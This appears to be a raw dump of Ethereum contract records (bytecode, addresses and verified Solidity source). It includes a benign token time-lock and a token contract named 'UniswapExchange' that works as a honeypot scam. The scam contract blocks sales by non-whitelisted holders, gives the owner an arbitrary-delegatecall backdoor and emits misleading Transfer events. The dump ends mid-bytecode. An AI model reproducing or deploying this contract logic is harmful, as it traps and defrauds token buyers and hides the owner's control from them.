0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061131e565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061145d565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114e4565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611500565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114e4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b5af115156112b957600080fd5b505050600190509392505050565b6000818302905060008314806112e757508183828115156112e457fe5b04145b15156112f257600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561143e57600080fd5b5af1151561144b57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156114fa57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820ec11a66657cf75aa4daf2a9a139c5fce201d02bac824fcdcd702623006bbb4570029
[ 2 ]
0xf1c7f41efe44c21ec10fde6ed5cbcb8a2cfc5c11
pragma solidity ^0.4.13; contract _ERC20Basic { function balanceOf(address _owner) public returns (uint256 balance); function transfer(address to, uint256 value) public returns (bool); } contract Locker { address owner; address tokenAddress = 0xC53fE92D1b659B9D49CE40aD4981fE0228e81b84; // ETH/SAMI LP-token address uint256 unlockUnix = now + (7 days); // 7 days _ERC20Basic token = _ERC20Basic(tokenAddress); constructor() public { owner = msg.sender; } function unlockTeamTokens() public { require(owner == msg.sender, "Sender not owner"); require( now > unlockUnix, "Unlock Time not reached yet"); token.transfer(owner, token.balanceOf(address(this))); } function getLockAmount() public view returns (uint256) { return token.balanceOf(address(this)); } function getTokenAddress() public view returns (address) { return tokenAddress; } function getUnlockTimeLeft() public view returns (uint) { return unlockUnix - now; } }
0x6080604052600436106100615763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166310fe9ae88114610066578063b3fc91e4146100a4578063d64c34fc146100cb578063e2130d1e146100e0575b600080fd5b34801561007257600080fd5b5061007b6100f7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100b057600080fd5b506100b9610113565b60408051918252519081900360200190f35b3480156100d757600080fd5b506100b961011c565b3480156100ec57600080fd5b506100f56101bf565b005b60015473ffffffffffffffffffffffffffffffffffffffff1690565b60025442900390565b600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a0823191602480830192602092919082900301818787803b15801561018e57600080fd5b505af11580156101a2573d6000803e3d6000fd5b505050506040513d60208110156101b857600080fd5b5051905090565b60005473ffffffffffffffffffffffffffffffffffffffff16331461024557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f53656e646572206e6f74206f776e657200000000000000000000000000000000604482015290519081900360640190fd5b60025442116102b557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f556e6c6f636b2054696d65206e6f742072656163686564207965740000000000604482015290519081900360640190fd5b60035460008054604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169463a9059cbb9493169285926370a082319260248083019360209383900390910190829087803b15801561033657600080fd5b505af115801561034a573d6000803e3d6000fd5b505050506040513d602081101561036057600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff861602815273ffffffffffffffffffffffffffffffffffffffff909316600484015260248301919091525160448083019260209291908290030181600087803b1580156103d557600080fd5b505af11580156103e9573d6000803e3d6000fd5b505050506040513d60208110156103ff57600080fd5b50505600a165627a7a723058203d9c161972d9829a7cd72e0e5b36ae82567fb02991234c595ca278d4f647ca5a0029
[ 16 ]
0xf1c84ea350d4a32662227f02bb2afa171f18bf8e
/** *Submitted for verification at Etherscan.io on 2021-06-20 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa57fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffff